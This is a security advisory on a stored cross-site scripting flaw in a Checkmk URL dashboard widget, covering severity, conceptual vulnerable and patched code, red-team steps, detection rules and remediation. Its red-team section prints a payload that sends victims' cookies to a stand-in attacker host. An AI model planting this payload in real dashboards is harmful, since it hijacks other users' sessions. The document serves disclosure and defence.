CVE-2026-7186

Executive Summary

CVE-2026-7186 is a stored cross-site scripting (XSS) vulnerability in the Checkmk URL dashboard widget. An authenticated user with dashboard editing permissions can inject a malicious URI scheme (e.g., javascript:) into a URL field. When other users view the dashboard, the injected script executes in their browser, potentially leading to session hijacking, data theft, or further compromise within the Checkmk environment. The vulnerability affects Checkmk versions prior to 2.5.0p5, 2.4.0p31, 2.3.0p48, and all 2.2.0 versions. No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward for any user with dashboard edit rights.

Supply Chain & Package Security

Checkmk is a monitoring solution distributed as a software package. The vulnerability is in the core application code, not in a third-party package. However, organizations using Checkmk should verify the integrity of their installation and ensure they are using official sources. No supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires dashboard edit permissions
• User Interaction: Required (UI:R) – victim must view the dashboard
• Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited ability to modify data
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authenticated access with dashboard editing privileges, but the impact is limited to XSS within the Checkmk interface. However, in a multi-tenant or shared monitoring environment, this could be used to escalate privileges or pivot to other systems.

Deep Dive & Mechanics

The vulnerability resides in the URL dashboard widget, which allows users to embed clickable links. The widget does not properly sanitize the URI scheme, allowing dangerous schemes like javascript: to be used. When a user clicks the link or the widget renders the URL, the browser executes the JavaScript code.

Attack Flow:

1. An attacker with dashboard editing permissions creates or modifies a URL widget.
2. The attacker sets the URL to javascript:alert(document.cookie) (or similar payload).
3. The widget stores this URL in the Checkmk database.
4. When another user views the dashboard, the widget renders the link.
5. If the victim clicks the link, or if the widget automatically follows the link (depending on implementation), the JavaScript executes in the victim's browser context.

Root Cause: Insufficient input validation on the URL field. The application should reject or sanitize dangerous URI schemes (e.g., javascript:, data:, vbscript:).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# In the URL widget handler
def render_url_widget(url):
    # No validation of URI scheme
    return f'<a href="{url}">Link</a>'

Patched Code (Conceptual):

import re

def is_safe_url(url):
    # Allow only http, https, mailto, ftp schemes
    allowed_schemes = ['http', 'https', 'mailto', 'ftp']
    scheme = url.split(':')[0].lower()
    return scheme in allowed_schemes

def render_url_widget(url):
    if not is_safe_url(url):
        url = '#'  # or display an error
    return f'<a href="{url}">Link</a>'

The patch adds a whitelist of allowed URI schemes and rejects any URL that does not match.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Checkmk instance with dashboard editing permissions.
• A target user who will view the dashboard.

Steps:

1. Log in to Checkmk with an account that has dashboard edit rights.
2. Navigate to a dashboard and add a new URL widget.
3. In the URL field, enter a malicious payload such as:

   javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
   

4. Save the dashboard.
5. Wait for a victim to view the dashboard and click the link, or if the widget auto-follows, the payload executes immediately.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team

Detection:

• Monitor for unusual URL widget configurations in Checkmk logs.
• Look for javascript: or other dangerous schemes in URL fields.
• Use web application firewalls (WAF) to block requests containing javascript: in URL parameters.

Prevention:

• Restrict dashboard editing permissions to trusted users only.
• Implement input validation on the server side to reject dangerous URI schemes.
• Use Content Security Policy (CSP) headers to block inline JavaScript execution.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing javascript: in the URL parameter of dashboard widget creation/modification endpoints.
• Logs: Checkmk audit logs showing creation or modification of URL widgets with suspicious content.
• File System: No specific file-based IOCs.
• Memory: No specific memory-based IOCs.

Example Log Entry:

User 'attacker' modified widget 'URL Widget' on dashboard 'Main Dashboard' with URL 'javascript:alert(1)'

Detection Engineering

YARA Rule

rule CVE_2026_7186_Checkmk_XSS {
    meta:
        description = "Detects stored XSS in Checkmk URL dashboard widget"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-7186"
    strings:
        $dangerous_scheme = /(javascript|vbscript|data):/i
    condition:
        $dangerous_scheme
}

Sigma Rule

title: Checkmk Stored XSS in URL Dashboard Widget
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2026-7186 by injecting dangerous URI schemes
author: Valters IT
date: 2026-01-01
logsource:
    product: checkmk
    service: web
detection:
    selection:
        url|contains:
            - 'javascript:'
            - 'vbscript:'
            - 'data:'
    condition: selection
falsepositives:
    - Legitimate use of data: URIs in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-7186 Checkmk Stored XSS Attempt"; flow:to_server; content:"javascript:"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Checkmk to version 2.5.0p5, 2.4.0p31, or 2.3.0p48.
2. For 2.2.0 series, upgrade to a supported version as no patch is available.
3. Review and restrict dashboard editing permissions to only trusted administrators.

Long-term Measures:

• Implement input validation for all user-supplied URLs.
• Use a whitelist of allowed URI schemes (e.g., http, https, mailto).
• Deploy Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly audit Checkmk configurations and user activities.

Workaround:

• If upgrading is not immediately possible, disable the URL dashboard widget or remove edit permissions from non-admin users.

Valters IT
DevSecOps & Cyber Threat Intelligence